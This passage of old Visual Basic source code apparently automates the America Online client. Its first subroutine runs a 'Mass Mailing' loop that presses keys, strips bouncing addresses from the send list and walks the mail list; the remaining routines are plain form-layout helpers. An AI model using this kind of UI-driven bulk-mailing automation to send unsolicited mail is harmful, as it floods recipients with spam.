    chank = SendTo
    chank1 = InStr(1, chank, gwar2)
     If chank1 > 0 Then
      gog = gog + 1
      gog1 = chank1 + Len(gwar2)
      chank1 = chank1 - 1
      chank2 = Mid$(chank, 1, chank1)
      chank3 = Mid$(chank, gog1)
      SendTo = chank2 + chank3

      olecap = Ebstat.Panel3D1.Caption
      Ebstat.Panel3D1.Caption = "Unknown or Box is full, removing " + gwar2 + " from list."
      DoEvents
      Call Pause(2)
      SendKeys "{ENTER}"
      DoEvents
      Call Pause(1.5)
      Ebstat.Panel3D1.Caption = "Mass Mailing: " + SendTo
   End If
   End If
   End If
        If Gwar > 0 Then
          GoTo BackStar
        End If

Puber:

SendKeys "{ENTER}"
DoEvents
Call Pause(.5)
PackStatus.VBMsg4.SubClasshWnd = ForwardHand
PackStatus.VBMsg4.SendMessage = WM_CLOSE
DoEvents
Call Pause(.5)

jimbob:

MailHand1 = FindChildByTitle(thiswin%, "Download Manager")

PackStatus.VBMsg4.SubClasshWnd = MailHand1
PackStatus.VBMsg4.SendMessage = WM_CHILDACTIVATE

 thiswin% = FindWindow(0, "America  Online")

 PeopleList1 = FindChildByClass(thiswin%, "_AOL_Tree")
 SendFing = SendMessage(PeopleList1, LB_GETCURSEL, 0, 0)
       Cur = SendFing + 1
SetCur = SendMessage(PeopleList1, LB_SETCURSEL, Cur, 0)

 DoEvents
 Call Pause(.2)

 Next X

endit:

End Sub

Sub CenterChild (Parent As Form, Child As Form)
Dim iTop As Integer, iLeft As Integer

If Parent.WindowState <> 0 Then Exit Sub

iTop = ((Parent.Height - Child.Height) \ 2) + Parent.Top
iLeft = ((Parent.Width - Child.Width) \ 2) + Parent.Left

Child.Move iLeft, iTop

End Sub

Sub CenterForm (frmIn As Form)
Dim iTop As Integer, iLeft As Integer

    If frmIn.WindowState <> 0 Then Exit Sub

    iTop = (Screen.Height - frmIn.Height) \ 2
    iLeft = (Screen.Width - frmIn.Width) \ 2

    frmIn.Move iLeft, iTop

End Sub

Sub CenterMDIChild (frmParent As Form, frmChild As Form)
Dim iTop As Integer, iLeft As Integer

    If frmParent.WindowState <> 0 Or frmChild.WindowState <> 0 Then Exit Sub

    iTop = (frmParent.ScaleHeight - frmChild.Height) \ 2
    iLeft = (frmParent.ScaleWidth - frmChild.Width) \ 2

    frmChild.Move iLeft, iTop

End Sub

Sub FormWait (frmIn As Form)

     Do While frmIn Is Screen.ActiveForm
        DoEvents
     Loop

End Sub

Sub KeepOnTop (frmIn As Form)
'Keep form on top. Note that this is switched off if form is
'minimised, so place in resize event as well.
Const wFlags = SWP_NOMOVE Or SWP_NOSIZE

   ' SetWindowPos frmIn.hWnd, HWND_TOPMOST, 0, 0, 0, 0, wFlags    'Window will stay on top

    DoEvents

End Sub

Sub PaintBackGround (frmIn As Form)
Dim I As Integer
Dim Y As Integer

    frmIn.AutoRedraw = True
    frmIn.DrawStyle = 6
    frmIn.DrawMode = 13
    frmIn.DrawWidth = 2
    frmIn.ScaleMode = 3
    frmIn.ScaleHeight = (256 * 2)
    For I = 0 To 255
        frmIn.Line (0, Y)-(frmIn.Width, Y + 2), RGB(0, 0, I), BF
        Y = Y + 2
    Next I

End Sub

Sub RemoveOnTop (frmIn As Form)
Const wFlags = SWP_NOMOVE Or SWP_NOSIZE

 '   SetWindowPos frmIn.hWnd, HWND_NOTOPMOST, 0, 0, 0, 0, wFlags

    DoEvents

End Sub